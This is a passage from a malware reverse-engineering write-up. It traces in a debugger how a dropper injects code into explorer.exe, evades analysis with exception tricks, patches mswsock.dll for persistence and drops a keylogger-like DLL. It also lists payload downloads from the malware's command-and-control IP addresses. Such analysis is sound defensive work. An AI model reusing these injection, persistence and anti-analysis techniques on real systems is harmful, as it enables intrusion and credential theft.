Of course, analyzing this code outside of the context of explorer.exe would be nearly impossible.  We really need to be able to trigger the execution of the code inside explorer.exe, within the context of the injection/malware… So let’s set a breakpoint on at 13E0000 (or the address that is used on  your system).

How does the injected code get called?  What exactly triggers the execution?  The WPM() itself only writes to the process memory.

A few instructions below the WriteProcessMemory() call, at 0x10004D2D, a call is made to 10004A93. In that function, we see a call to kernel32.CreateToolhelp32Snapshot(). This function will take a snapshot of a process (including heap, threads, modules). The arguments passed on to the function are

0012EA14   00000004  ...  |Flags = TH32CS_SNAPTHREAD
0012EA18   00000000  ....  \ProcessID = 0

This will make sure all threads are included in the snapshot (so they can be enumerated). The function call returns a handle to the snapshot in eax (0x80 in my example)

Next, we see an iteration that will enumerate/locate threads.  The loop starts with a single call to Thread32First (which is needed to get the first thread in the array). We’ll probably see calls to Thread32Next later on (to find all other threads).

The Thread32First call takes a handle to the snapshot as first argument, and pThreadEntry (a pointer) as second argument, containing 0012EA24 at this point.  0x0012EA24 contains 0x1C

As expected, a call to Thread32Next is made (at 10004B02) (using the same arguments as the ones used in Thread32First). The iteration goes on until it returns thread 0x630 in eax (and a pointer into the injected memory in explorer.exe)

At that point, a call to kernel32.OpenThread() is executed (returning a handle in eax), followed by kernel32.QueueUserAPC(handle) (with a pointer to a memory location on the stack). This function will add a usermode asynchronous procedure call (APC) to the APC queue of the specified thread. This technique, also documented here, is used to call the injected code.

When the function is called, a pointer to the base address of the injected code (explorer.exe) is at the top of the stack.

In that function, a call to ntdll.RtlQueryInformationActivationContext is made, followed by  ntdll.ZwQueueApcThread. Then the handle to the thread is closed.

As soon as the thread in explorer.exe is found and the call to QueueUserAPC(handle) is executed, the breakpoint in explorer.exe (013E0000) was hit !

Note : while documenting the analysis, I had to restart debugging process a couple of times. This means that some of the allocated memory addresses might be different. During a second run, the memory allocated in the explorer.exe process is 02270000, so the screenshots below will contain 02270000 instead of 013E0000

Breakpoint hit in explorer.exe :

image

Quick sidenote : if you are interested in debugging the injected code in explorer.exe, use the following steps to jump right in :

  1. open l.exe in the debugger and run !hidedebug all_debug
  2. set a breakpoint at 0x00401FB4 and press F9.  Debugger should hit the breakpoint at the loadlibrary call. Use F8 to execute the Loadlibrary call
  3. set a breakpoint at 0x10004CF9
  4. set a breakpoint at 0x10004D11 and press F9
  5. Press Shift+F9 at the first exception
  6. Press Shift+F9 at the second exception
  7. Breakpoint at 0x10004CF9 will be hit (VirtualAllocEx()). Use F8 to execute the call and take note of the heap address returned in EAX (For example 01290000). Press F9 again.
  8. You will end up at the WriteProcessMemory() call. Use F8 to execute the call and then leave l.exe paused
  9. Open a second debugger and attach it to explorer.exe.  Set a breakpoint at the address that you saw in the Address argument in the first debugger (attached to l.exe)  (01290000for example).  The instruction at that location should be PUSH ESI. Press F9 to continue to run explorer.exe
  10. Go back to the first debugger (l.exe). Set a breakpoint at 0x10004A91. Press F9.  Breakpoint should be hit (call to a function which contains a call to Kernel32.CreateToolhelp32Snapshot, Thread32First, OpenThread etc). These last 2 functions are part of an iteration which will eventually trigger the breakpoint in explorer.exe to be hit.  Set a breakpoint at 0x10004B0B (right after the iteration) and press F9
  11. The breakpoint in the second debugger (at 01290000 or whatever the address is in your case) should now be hit.  You are now ready to analyse the injected code in explorer.exe

 

Injected code – run 1

The first thing the injected code does is to load pnen3260.dll (a file that was created by l.exe), by calling LoadLibraryA(), via CALL DWORD PTR DS:[ESI]. Again, instead of using a direct call to kernel32.LoadLibrary() (which might arouse suspicion), the necessary pointers are strings were also injected by l.exe into explorer.exe, and stored at [base_of_injected_code+0x400] :

image

(after all, the necessary function pointer(s) were already retrieved and stored earlier (by l.exe))

The LoadLibrary call will read the dll file into memory (00DC0000 in my case, base will most likely be different on your machine).

image

image

Next, a function in the dll is called (The offset to the function was first put in ESI, and then added to the base of the dll via ADD ESI,EAX) :

image

In this first function we see this : (don’t worry about base address being different- I had to reload the debugger a few times and the dll got loaded at a different base… it might/will be different on your machine too. If you’re lucky, the low bits will be the same as the ones in my screenshots, so it should be trivial to follow/recognize the corresponding instructions)

image

The GetModuleFileNameA() function (hModule set to null, PathBuffer set to EBP-108 and BufSize set to 104) will retrieve the full path to explorer.exe, convert it to lowercase, and write it to EBP-108.  Then, a pointer to this string is put in eax, and pushed onto the stack, prior to calling function pnen3260.00DC60E6.  In that function, the string is written to a location in memory, and then a jump is made to 00DC61D8, where function 00DC5F3B is called, which removes a record from the SEH Chain and finally returns.  Then function 00DC6060 is called, where "explorer.exe" is extracted from the string, and a pointer to it is stored in eax.

Then, a call to CreateThread is prepared, using a pointer to a function in pnen3620.dll as ThreadFunction.

image

One of the arguments to the CreateThread() call is a pointer to the previously injected code. Set a breakpoint at that pointer (00DC1AA0 in my example). Execute the  CreateThread() call and continue to step (it will eventually return and leave the injected code, and starts running code in kernel32.  Continue to setp until you reach the point where you can see a call to that function  (when ntdll.ZwContinue is called at 7C90E45A – so make sure to set the breakpoint to xxxx1AA0 before seeing that call)

(If you are not able to reproduce this, you can also replace the call to CreateThread() with a call to xxxx1AA0)

image

(Click assemble and close the popup)

image

Step into that call (F7) & proceed the analysis.

Anyways, at xxxx1AA0, we see this function :

image

Function xxxx400A gets called. In that function, LocalAlloc() allocates 0x1D0 bytes (with flags LPTR), returning 001129D0 (or something similar) in eax.

Then function xxxx5B20 is called, where 88 dwords are copied to 00112A40 :

image

and then the function returns to xxxx4061. EAX is set to 00112A40 and function xxxx3A69 is called.

In that function, we see an iteration (counter in ESI)  :

image

The iteration makes a call to xxxx5B20. Next function xxxx39E6 gets called, and then function xxxx5B20 gets called again. When the loop in xxxx5B20 ends, data at pnen3260’s DS (xxxx2A40) has been changed (decoded)   (just pay attention to the value of EDI in the REP instruction and you’ll see where it gets written to in your case)

image

We see a few interesting things/strings :

  • kernel32.dll
  • %APPDATA%\Tencent\  (a folder we might want to keep an eye one)
  • Accept */*  (part of a http request header ?)
  • _!RKU#PNP#090921!_ (not sure what this is atm)
  • http://
  • Software\RealOne
  • RVClass
  • htmlfile\shell\open\command
  • wininet.dll  (functions from this module can be used to access the internet, using the browser’s proxy server settings)
  • .7z
  • dnsapi.dll
  • %s%s (looks like something needs to be concatenated ?)
  • iphlpapi.dll
  • Plugin2a.Section
  • Class
  • mswsock.dll
  • Section.SessionAcl.%d
  • ws2_32.dll
  • *.*
  • .exe
  • %ProgramFiles%\Real
  • ra32clv.dll
  • sipr3260.dll
  • pngu3267.dll
  • shlwapi.dll
  • user32.dll
  • DialogBoxParamW   (interesting function – not sure why malware would need it… unless it wants to hook it & use it to get code to execute)

Then, the function returns and continues execution at xxxx4074.

image

Between xxxx4089 and xxxx4A0D, we see another iteration. (counter in ebx, compared with ESI (0x160 or 352 decimal, which is the number of bytes that were decoded prior to running this routine)). This iteration seems to enumerate all strings in the array that was created earlier (00112A40). 

We can clearly see ECX pointing at "kernel32.dll", "%APPDATA%\Tencent\", "Accept: */*", and so on. 

Each time a string is found (each time a null byte is found), the pointer to that particular string is written to [EDX+EAX]. EAX points at a location just above the strings and EDX is obviously used as an offset :

image

At the start of the loop, there’s CMP EDX,70. EDX is only incremented when a string has been retrieved.

When all pointers have been written, the function returns to xxxx1AC0, where TEST EAX,EAX is used to determine whether a jump has to be made to xxxx1B2C or not.  That would result in ending the function, but since EAX = 1, the jump is not taken.  The reason I mention this is because anti-debugger techniques often use test eax,eax to verify the output of a call earlier and break the flow based on the outcome.

Anyways, the code continues and sets up a call to ADVAPI32.InitializeSecurityDescriptor.  Parameter pSecDescr points at xxxxB560 (in pnen3260.dll) so let’s put a breakpoint on that address (just in case – it doesn’t contain anything at this point). ECX still points at the last string in the array ("DialogBoxParamW"). After the call is executed, ECX is set to xxxxB560.

Next, a call to ADVAPI32.SetSecurityDescriptorDacl is executed (pointing at xxxxB560). When this call returns, xxxxB560 contains 04000000.

Function xxxx2DA2 is now called, retrieving pointer to string "_!RKU#PNP#090921!_", followed by a call to CreateMutexA

The parameters to this call are

  • pSecurity : pointer to xxxxB550 (which contains 0xC)
  • InitialOwner : FALSE
  • MutexName : "_!RKU#PNP#090921!_"

image

That makes sense – it’s quite normal for malware to check if it’s already running or not, and the use of a Mutex facilitates this well. When the call returns, EAX contains a value (518 in my case), which gets stored on the stack [EBP-8]

RtlGetLastWin32Error returns 0, so a jmp is made to xxxx1B30.  In that function, a LocalAlloc() call used to allocate memory, and a pointer to the allocated space is returned in eax. (00142CB0 in my example, which gets written to pnen3260 DS xxxxB444)

Then, a pointer to the begin of pnen3260.dll is written to 00142CB4, and function xxxx3DDF is called, which calls xxxx3D90. In that function, SLDT  and the function returns. Next, function xxxx3DEC is called, which calls xxxx3DA7, and returns.

Function xxxx3D37 is then called, which calls xxxx5F00. In that routine, an exception handler is put in place (pointing to xxxx5F54)… and guess what… at xxxx3D5F, an exception is triggered.

image

(We have seen the use of SEH to redirect flow before).  With a breakpoint set at xxxx5F54, pass the exception to the application (Shift F9), which will trigger the bp at the SE Handler to be hit. 

In one of the called child functions (xxxx6996), the linear address of TIB is grabbed and put in EAX (MOV EAX, DWORD PTR FS:[18] – at xxxx69AF).

 

In one of the called child functions, a VirtualQuery is executed, with the following arguments :

00E7F670   00DC9318  “Ü.  |Address = pnen3260.00DC9318
00E7F674   00E7F688  ˆöç.  |Buffer = 00E7F688
00E7F678   0000001C  ...  \BufSize = 1C (28.)

The buffer points at "PE" in pnen3260.dll (which indicates the start of the PE header of the module)

Then a few calls to kernel32.InterlockedExchange() are performed (at 00DC6AC7) :

00E7F674   00DCB4B0  °´Ü.  |pTarget = pnen3260.00DCB4B0
00E7F678   00000001  ...  \NewValue = 1

(result of this call : 0x01 : written to xxxxB4B0)

at 00DC6B2C :

00E7F674   00DCB4B0  °´Ü.  |pTarget = pnen3260.00DCB4B0
00E7F678   00000000  ....  \NewValue = 0

(after this call, xxxxB4B0 is set to 0 again)

A few routines later, at xxxx68BB, a call to RtlUnwind is being made, with the following parameters :

00E7F688   00E7FAB0  °úç.  |pRegistrationFrame = 00E7FAB0
00E7F68C   00DC68C0  ÀhÜ.  |ReturnAddr = pnen3260.00DC68C0
00E7F690   00000000  ....  |pExcptRec = NULL
00E7F694   00000000  ....  \_eax_value = 0

Then, a new SE record is created (in function xxxx68EA), pointing at 00DC68C8, and it gets removed again :

image

A number of calls later (at xxxx3CE5), another exception is generated (Unknown command)

image

Another anti-debugging trick ?  Things were still making sense up to the point where the VirtualQuery and InterlockedExchange calls were made…

I still wanted to see what happens if we try to continue, so I replaced the "Unkown command" with 2 nops and continued to step through the instructions. A few instructions below, and access violation gets triggered, which brings us back to the base of the injected code…  Okay, let’s run the routine again

Injected code – run 2

In this run, kernel32.CreateMutexA is called (again), followed by RtlGetLastWin32Error (just like in the previous run). A custom SE Handler record is created (pointing to function xxxx5F54) and an exception is triggered.

This time, the VirtualQuery / InterlockedExchange calls are not executed… but we still end up executing the code at xxxx3CD3 (which had the "Unkown command" (now replaced with 2 nops)… and we end up triggering an access violation again. This means that the VirtualQuery() and InterlockedExchange() calls are not really relevant, but at the same time, it seems I am running around in circles too.

 

 

Injected code – headache

Maybe we should quit staring at the debugger, and focus on the behavior after explorer.exe was injected/infected.

If we look back at the procmon report, we can see that pnen3260.dll gets loaded. We already documented how/where that happened. We can also see that a new thread is created.  (Full analysis of the thread has not been completed yet).

Then, a couple of image files are downloaded.. and shortly after, a bunch of executables are written to C:\Documents and Settings\\Application Data\Tencent, and executed.

We also noticed iexplore.exe being launched (iexplore.exe -nohome) :

image

And that process appears to be making network connections :

image

Shortly after (as you will see in the next chapters), some other network connections are made too (scanning local network etc)

So perhaps we need to look at the images / executables at this point, and see if there is a link between these executables and that network traffic.

Finally, we need to figure out how the box will be infected permanently.  Maybe this is done from within explorer.exe or iexplore.exe… or perhaps one or more of the executables will take care of it. We’ll see.

Before moving forward, let’s feed l.exe to http://cloud.iobit.com/.. Guess what, iobit says it’s safe :

image

Looks like the latest cloud computing technology and heuristics analyzing mechanism got a headache too :)

 

December 2nd, 2010 21:45:30 GMT+1 – stage 5 – images & executables

About 2 minutes after the box was rooted and it started scanning other hosts, we also noticed traffic towards port 80 and 443, targetting various public hosts.  (Similar to what you saw in the netstat output a while ago).  Could be a "phone home" operation.

As expected, malware doesn’t just root a box to spread and root other boxes. That would  be pointless. There must be added value, more logic so the box can be used for other purposes  (botnet ? key logger ? etc etc).  We know we missed some pieces in the analysis earlier, and it looks like those are the components responsible for that extra "intelligence" and "functionality".

From this point forward, we’ll try to figure out what the purpose of the malware is by looking at its behavior.

  • Procmon reports the creation of threads, spawns executables and executes them.
  • A packet capture shows various types of traffic
    • scans to other hosts on the same network and on the same public IP range, to port 139 and 445
    • connects to public host on port 80 and 443

Let’s start with the images.

When looking at the packet capture, at the time explorer gets injected and code is executed, we see a http GET request for /sasearch/balloon.xsl, followed by a request for /sasearch/lclsrch.xml. While both files seem harmless at first sight, they are known to be associated with malware.

Then it looks like the infected process connects to the "home" or "C&C" machine (or whatever you want to call it), and downloads some files :

Downloaded Files

http://173.244.193.146/DAY/ALL.JPG?1031 (*.Y9A.INFO)
http://173.244.193.148/a/0.jpg (do.v7x.info)
http://173.244.193.148/a/1.jpg (do.v7x.info)
http://173.244.193.148/a/2.jpg (do.v7x.info)
http://173.244.193.148/a/3.jpg (do.v7x.info)
http://173.244.193.148/a/4.jpg (do.v7x.info)
http://173.244.193.148/a/5.jpg (do.v7x.info)
http://173.244.193.148/a/6.jpg (do.v7x.info)
http://173.244.193.148/a/7.jpg (do.v7x.info)
http://173.244.193.148/a/8.jpg (do.v7x.info)
http://173.244.193.148/a/9.jpg (do.v7x.info)
http://173.244.193.148/a/10.jpg (do.v7x.info)
http://173.244.193.148/a/11.jpg (do.v7x.info)
http://173.244.193.148/b/1.jpg (do.v7x.info)
http://173.244.193.148/b/2.jpg (do.v7x.info)
http://173.244.193.148/b/3.jpg (do.v7x.info)
http://173.244.193.148/b/4.jpg (do.v7x.info)
http://173.244.193.148/b/5.jpg (do.v7x.info)
http://173.244.193.148/b/6.jpg (do.v7x.info)
http://173.244.193.146/adv/adv.dll (p.newfreeeye.info)

(you can replace the IP in this output with the IP you are seeing on your own machine if you are doing the analysis as well, or the IP from the netstat output above – which is my test box)… Either way, it looks like there are a bunch of C&C servers and they all contain the same files (jpg ?)

There are 18 jpg files – remember that number.

Note : as of mid january, the C&C server doesn’t seem to be online anymore. You can, however, get a copy of the images here : (http://redmine.corelan.be:8800/projects/corelan-public/files – The Honeypot Incident – images.zip), set up your own webserver at the IP address listed above, host the files yourself, and simulate the downloads.

While all jpg files are different in size, they still look very similar :

image

image

(and those are not the only jpg files on that server – try downloading 7.jpg, 8.jpg and so on)

Even the dll (when renamed to jpg) shows an image :

image

Immediately after the jpg files are downloaded, explorer.exe starts spitting out & running executables.

 

"Tencent" executables

Procmon indicates that the infected Explorer.exe process generates/spawns and executes 18 executables under C:\Documents and Settings\\Application Data\Tencent.  So it looks like there might be a relation between the (18) jpg files, and the executables.

We have not been able to complete the analysis of the injected code into explorer.exe, but we have noticed that it also spawned iexplore.exe -nohome, and that this process is the one responsible for connecting to the C&C server and downloading images. (Microsoft Listdll shows that this iexplorer.exe process also has pnen3260.dll loaded.) It’s very likely that the images contain some additional data which is extracted and used by the infected explorer.exe, to build and execute the executables. Again, this is just an assumption which is good enough for now.

As stated earlier, the C&C server has been taken down, but we have made the executables available for download here :  (http://redmine.corelan.be:8800/projects/corelan-public/files – The Honeypot Incident – tencent_executables.zip)

After each executable file has run, it gets deleted again.

The following files are being created :

image

 
~DF2D.exe :

According to the timeline and file creation timestamp, this is the first file being created & executed.

In this executable, some strings are decoded in memory (localalloc) :

001436E4                          50 6C 75 67 69 6E 32 61          Plugin2a
001436F4  2E 53 65 63 74 69 6F 6E 00 25 53 79 73 74 65 6D  .Section.%System
00143704  52 6F 6F 74 25 5C 73 79 73 74 65 6D 33 32 5C 00  Root%\system32\.
00143714  6D 73 77 73 6F 63 6B 00 64 69 76 78 64 65 63 00  mswsock.divxdec.
00143724  2E 64 6C 6C 00 6F 6C 65 61 64 70 00 53 46 43 5F  .dll.oleadp.SFC_
00143734  4F 53 2E 44 4C 4C 00 00 00 00 00 00 00 00 00 00  OS.DLL..........

c:\windows\system32\mswsock.dll  -  c:\windows\system32\divxdec.dll

Then a handle to mswsock.dll is retrieved (CreateFileA), so the filesize can be determined, used as Size parameter in a VirtualAlloc call.  Following the VirtualAlloc (which returned a pointer to 00350000), the dll file is read and written to the newly allocated heap. (ReadFile, using the handle to the file as source).

image

More payload is generated (copied from the exe file, and copied to another new heap at 00390000), and then file c:\windows\system32\divxdec.dll is created, by using 0x4C00 bytes from 00390000)

image

image

Then 0x00390000 is freed and a call to AdjustTokenPrivilege is called

0012FCD8   00000024  $...  |hToken = 00000024
0012FCDC   00000000  ....  |DisableAllPrivileges = FALSE
0012FCE0   0012FCFC  üü.  |pNewState = 0012FCFC
0012FCE4   00000000  ....  |PrevStateSize = 0
0012FCE8   00000000  ....  |pPrevState = NULL
0012FCEC   00000000  ....  \pRetLen = NULL

mswsock.dll gets copied to a new tmp file :

0012FBC8   0012FD20   ý.  |ExistingFileName = "C:\WINDOWS\system32\mswsock.dll"
0012FBCC   0012FC04  ü.  |NewFileName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\8.tmp"
0012FBD0   00000000  ....  \FailIfExists = FALSE

SFC_OS.dll gets loaded and a function (ProcOrdinal 5) gets called. 

The computer name is retrieved, RpcStringBindingComposeW() and RpcBindingFromStringBindingW() are called (ncacn_np:\\\\.[\\PIPE\\SfcApi])

Next, the tmp file (8.tmp in this example – which is a copy of mswsock.dll) is opened again, and read into a new allocated heap block (003C0000).  Then, the code in heap gets patched, and written to the tmp file again.  This routine is followed by a move of the original mswsock.dll file to a new tmp file (MoveFileA) :

0012FAB8   0012FD20   ý.  |ExistingName = "C:\WINDOWS\system32\mswsock.dll"
0012FABC   0012FAC8  Èú.  |NewName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\9.tmp"
0012FAC0   00000001  ...  \Flags = REPLACE_EXISTING

MD5 of the file before and after the move :

C:\WINDOWS\system32>md5sum mswsock.dll
832e4dd8964ab7acc880b2837cb1ed20 *mswsock.dll

C:\WINDOWS\system32>md5sum mswsock.dll
f7fe96adae155e1c8a3ffb96adb1bb1f *mswsock.dll

Followed by MoveFileExA :

0012FAB8   0012FAC8  Èú.  |ExistingName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\9.tmp"
0012FABC   00000000  ....  |NewName = NULL
0012FAC0   00000004  ...  \Flags = DELAY_UNTIL_REBOOT

Flags : delay_until_reboot

Finally, the 8.tmp file gets deleted.

Turbodiff shows the following differences :

image

A graphical comparison of the DllEntryPoint shows this :

image

(Patched version is on the left)

This *may* be a first step in proving that the malware will permanently infect the computer (by patching mswsock.dll in this case).

Next, the following function is called :

image

A snapshot of the current process is made. This will contain a list with all running processes. Then divxdec.dll gets loaded at 0x10000000, and using GetProcAddress(), an address to a function (10001E20) is retrieved.

Then an iteration is started (Process32First & Process32Next) to enumerate processes.

image

In that loop, the function (10001E20) gets called (CALL ESI). In that function, we see a call to OpenProcess(). So in essence, the iteration is used to enumerate / getting a window handle of the processes on the machine.  

Similar to many of the functions in kernel32, OpenProcess() is just a wrapper around a function exported in ntdll.dll (ZwOpenProcess in this case).  The function parameters to ZwOpenProcess are

NTSTATUS ZwOpenProcess(
  __out     PHANDLE ProcessHandle,
  __in      ACCESS_MASK DesiredAccess,
  __in      POBJECT_ATTRIBUTES ObjectAttributes,
  __in_opt  PCLIENT_ID ClientId
);
0012FB88   0012FBCC  Ìû.  |Arg1 = 0012FBCC  ;ProcessHandle
0012FB8C   001F0FFF  ÿ.  |Arg2 = 001F0FFF  ;DesiredAccess
0012FB90   0012FB9C  Ϟ.  |Arg3 = 0012FB9C  ;ObjectAttributes
0012FB94   0012FBB4  ´û.  \Arg4 = 0012FBB4  ;ClientID

In the second run of the iteration, a routine at 10001D50 is called :

image

At first sight, it looks like it’s going to inject new code into a process (WriteProcessMemory() + CreateRemoteThread()).

Before doing that, the code allocates some memory to the remote process (handle 0x80) and then calls GetModuleFileNameA() on hModule 10000000, with pathbuffer 0012EDCC (size 0x104). This returns string "c:\windows\system32\divxdec.dll", which gets written it to 0012EDCC.

Then, the WriteProcessMemory() call is executed, using the following parameters (so it will write 1024 bytes from 0012EBC0 to the remote process, at 0004000)

0012EB9C   00000080  €...  |hProcess = 00000080 (window)
0012EBA0   00040000  ...  |Address = 40000
0012EBA4   0012EBC0  Àë.  |Buffer = 0012EBC0
0012EBA8   00000400  ...  |BytesToWrite = 400 (1024.)
0012EBAC   0012EBBC  ¼ë.  \pBytesWritten = 0012EBBC

After the injection, calc.exe gets executed, which eventually removes ~DF2D.exe again.

image

This file did not seem to generate network traffic. Let’s move on to the next file.

 

~DF3A.exe

Behavioural based analysis of this file (executed on a fresh system, as if it was the only file / a standalone executable), didn’t reveal anything useful. If your analysis is purely based on behaviour analysis, then this file would most likely get flagged as "harmless".

That is not the case as you will find out in a few moments.

In fact, it looks like the files should be analysed after running the required preceeding files. Alternatively, we can try to locate the routine, responsible for performing certain checks inside the binary, and see if we can simply bypass them.  This may not work either (because in certain cases, the context will be important. Maybe data injected into another process has to be available, maybe not.)

Anyways, if you feed this file into a malware behaviour analysis tool, you’ll see that it reads some files and registry keys, and finally injects a cleanup routine into calc.exe, which removes DF3A.exe.

We will dive deeper and do some manual analysis as well to verify that this file is (or is not) "harmless".

When looking at the routines in the file, we observe the following things :

– Pointers to a few strings are generated

– A call to OpenFileMappingA is performed, taking the following parameters :

0012FCDC   00000004  ...  |Access = FILE_MAP_READ
0012FCE0   00000000  ....  |InheritHandle = FALSE
0012FCE4   00142D20   -.  \MappingName = "Plugin2a.Section"

When this call is executed, eax is set to 0, so the code continues. (Interestingly enough, EAX is first moved to EDI and then TEST EDI,EDI is executed.  Maybe the author wanted to try to hide "TEST EAX,EAX" from analysis tools?)

Then, EDI is copied to ESP+18, and a jump is made to 004016B6, where a call is made to 00401360. Below the call, we see some INT3 instructions, so when the call will return, the code will probably halt.

Something tells me we should avoid this jump & call, and simply skip over it.

Let’s execute the code anyway.  

First, some stuff is copied onto the stack, and then GetModuleFileNameA() is called

0012E99C   00000000  ....  |hModule = NULL
0012E9A0   0012F0EC  ìð.  |PathBuffer = 0012F0EC
0012E9A4   00000104  ..  \BufSize = 104 (260.)

Then, GetStartupInfoA() is called (argument pStartupInfo set to 0012E9C8).

Next, a new process (calc.exe) is created

0012E980   00000000  ....  |ModuleFileName = NULL
0012E984   004020C4  Ä @.  |CommandLine = "calc"
0012E988   00000000  ....  |pProcessSecurity = NULL
0012E98C   00000000  ....  |pThreadSecurity = NULL
0012E990   00000000  ....  |InheritHandles = FALSE
0012E994   00000004  ...  |CreationFlags = CREATE_SUSPENDED
0012E998   00000000  ....  |pEnvironment = NULL
0012E99C   00000000  ....  |CurrentDir = NULL
0012E9A0   0012E9C8  Èé.  |pStartupInfo = 0012E9C8
0012E9A4   0012E9B4  ´é.  \pProcessInfo = 0012E9B4

As expected, the process is then injected with some custom code (used to clean up DF3A.exe) and the process dies.

So – it looks like the instructions  directly after OpenFileMappingA()  ( = the jump) should be avoided.

Let’s restart & skip over the jump.

004014F0  |> 50             PUSH EAX                                 ; /MappingName
004014F1  |. 6A 00          PUSH 0                                   ; |InheritHandle = FALSE
004014F3  |. 6A 04          PUSH 4                                   ; |Access = FILE_MAP_READ
004014F5  |. FF15 08204000  CALL DWORD PTR DS:[<&KERNEL32.OpenFileMa>; \OpenFileMappingA
004014FB  |. 8BF8           MOV EDI,EAX
004014FD  |. 85FF           TEST EDI,EDI
004014FF  |. 897C24 18      MOV DWORD PTR SS:[ESP+18],EDI
00401503  |. 0F84 AD010000  JE ~DF3A.004016B6                        ;  *** <= We should skip this jump
00401509  |. 6A 00          PUSH 0                                   ; /MapSize = 0
0040150B  |. 6A 00          PUSH 0                                   ; |OffsetLow = 0
0040150D  |. 6A 00          PUSH 0                                   ; |OffsetHigh = 0
0040150F  |. 6A 04          PUSH 4                                   ; |AccessMode = FILE_MAP_READ
00401511  |. 57             PUSH EDI                                 ; |hMapObject
00401512  |. FF15 0C204000  CALL DWORD PTR DS:[<&KERNEL32.MapViewOfF>; \MapViewOfFile
00401518  |. 85C0           TEST EAX,EAX
0040151A  |. 894424 14      MOV DWORD PTR SS:[ESP+14],EAX
0040151E  |. 0F84 8B010000  JE ~DF3A.004016AF
00401524  |. 8B15 90314000  MOV EDX,DWORD PTR DS:[403190]
0040152A  |. 68 80000000    PUSH 80
0040152F  |. 52             PUSH EDX
00401530  |. FFD5           CALL EBP

Edit the instruction at 00401503 and change it to 6 NOPs or alternatively, you can also change the condition (by changing the instruction to JNZ)

image

Next, ViewMapOfFile() is called, followed by a similar routine to check the outcome of the function, followed by a jump to 004016AF, which will first close a handle, and then jumps to the routine that will create the calc.exe process. So again, this jump needs to be avoided (and we’ll simply change that jump too)

image

After skipping the jump, a call is made to IsBadReadPtr (call EBP), followed by a third test eax,eax + conditional jump routine).  That jump will actually jump to 0040153A, which is a few instructions lower (still above the LoadLibrary()), so we won’t bother changing that one.

Next, LoadLibrary() will load user32.dll, putting its base address in eax

image

Another call to IsBadReadPtr is made (call EBP at 0040155F) and a short jump to 00401569 is made. That’s fine at this point. Then, GetProcAddress() is called, with the following parameters :

0012FCE0   7E410000  ..A~  |hModule = 7E410000 (user32)
0012FCE4   00142F95  •/.  \ProcNameOrOrdinal

This returns a pointer to user32.IsWindow in eax (7E429313).

Next, GetProcAddress() is called (CALL EDI at 0040159E), trying to locate the function pointer to SendMessageA()

0012FCE0   7E410000  ..A~  user32.7E410000
0012FCE4   00142F9E  ž/.  ASCII "SendMessageA"

A few instructions below, we see

004015B6  |. 8B02           MOV EAX,DWORD PTR DS:[EDX]

image

This instructions creates an access violation (reading [00000000]).  EDX was set to [ESP+14] above that instruction, so in order to overcome this issue, we’ll have to set ESP+14 to something useful at this point, or we’ll simply skip some pieces.

Looking at the instructions below the current one, we can see ExpandEnvironmentStringsA(), GetFileAttributesA(), CreateDirectoryA()… and that looks promising.

So – instead of fixing the instruction, we’ll simply skip over a bunch of instructions and jump directly to 004015DF. Simply select all instructions (including the current one, which is creating an access violation), up to 004015DF, and replace them with nops.

image

Continue the execution. The first thing we’ll see is the conversion from "%Program Files%\Complus Applications\" to "C:\Program Files\Complus Applications\"  (using ExpandEnvironmentStringsA). Next, if the folder does not exist (check is performed using GetFileAttributesA), it gets created (CreateDirectoryA)

image

image

Then, user32.SendMessageA() is called (CALL ESI at 00401629).  This call will result in triggering an acces violation, so this call should be nop’ed out (as well as the instructions below the call, up to (and including) 00401632.

image

Next, string "c:\Program Files\ComPlus Applications\mssoap2.dll" is created (using lstrcatA), and a call is made to 00401220, where

  • call is made to FindResourceA (looking for ResourceType "BL"), returning pointer 00404048
  • size of resource is retrieved (0x6800)
  • LoadResource is called (hResource set to 00404048)
  • SetHandleCount is called (nHandles set to 00404060)
  • VirtualAlloc is called, with the following parameters :
    • 0012FC90   00000000  ….  |Address = NULL

      0012FC94   00006800  .h..  |Size = 6800 (26624.)

      0012FC98   00001000  …  |AllocationType = MEM_COMMIT

      0012FC9C   00000004  …  \Protect = PAGE_READWRITE

    • (memory gets allocated at 00380000)
  • 0x1A00 bytes are copied from 00404060 to 00380000

then 00401100 is called, taking 3 arguments :

0012FC94   0012FCB8  ¸ü.  |Arg1 = 0012FCB8
0012FC98   00380000  ..8.  |Arg2 = 00380000
0012FC9C   00006800  .h..  \Arg3 = 00006800

In that function, the bytes that were copied to 00380000 earlier, get decoded and converted to what seems to be a PE format :

image

When that function has returned, file c:\Program Files\ComPlus Applications\mssoap2.dll is created, and 0x6800  bytes from 00380000 are written to the file, as explained below :

In the CreateFileA call, I noticed that the pointer to the Filename appears to be off a few bytes (maybe because we skipped a few routines along the road.

image

I manually adjusted the pointer to 0012FD10 so it would point at the correct filename :

image

The CreateFileA() call returns a handle to the file (0x38)

The WriteFileA() call uses the following parameters :

0012FC8C   00000038  8...  |hFile = 00000038 (window)
0012FC90   00380000  ..8.  |Buffer = 00380000
0012FC94   00006800  .h..  |nBytesToWrite = 6800 (26624.)
0012FC98   0012FCB0  °ü.  |pBytesWritten = 0012FCB0
0012FC9C   00000000  ....  \pOverlapped = NULL

Then the handle is closed, memory at 0x00380000 is released and the resource is freed as well.  After that, the function ends.

Although this routine appears quite simple, it also has proven to be quiet effective against behavioural analysis. If the file is analysed outside the infection chain or context, it appears to be harmless.  When looking at it inside the debugger and manually bypassing some of the "tricks" inside the binary, things start to make more sense.  I expect the other files not to be any different / to use similar tricks.

Next, handles are closed, and function 00401360 is called, creating "calc.exe", injecting code into the process, and closing DF3A.exe.  The injected code in calc.exe removes df3a.exe, and terminates calc.exe as well.

mssoap2.dll file info :

File: mssoap2.dll
MD5:  86715a739a415be5a20148999015a0c7
Size: 26624

Ascii Strings:
---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
memcpy
memset
memcmp
sprintf
strstr
printf
fclose
fprintf
fopen
_except_handler3
atoi
MSVCRT.dll
free
_initterm
malloc
_adjust_fdiv
GetClassNameA
IsWindowVisible
ReleaseDC
GetDC
EnumChildWindows
GetWindowTextA
GetAsyncKeyState
GetKeyState
GetWindowThreadProcessId
GetForegroundWindow
SendMessageA
EnumWindows
SetWindowsHookExW
GetMessageW
USER32.dll
GetModuleFileNameExA
EnumProcessModules
PSAPI.DLL
GetPixel
GDI32.dll
GetAdaptersInfo
iphlpapi.dll
RegCreateKeyExA
RegCloseKey
RegSetValueExA
RegQueryValueExA
RegOpenKeyExA
ADVAPI32.dll
CloseHandle
VirtualFree
ReadFile
VirtualAlloc
GetFileSize
CreateFileA
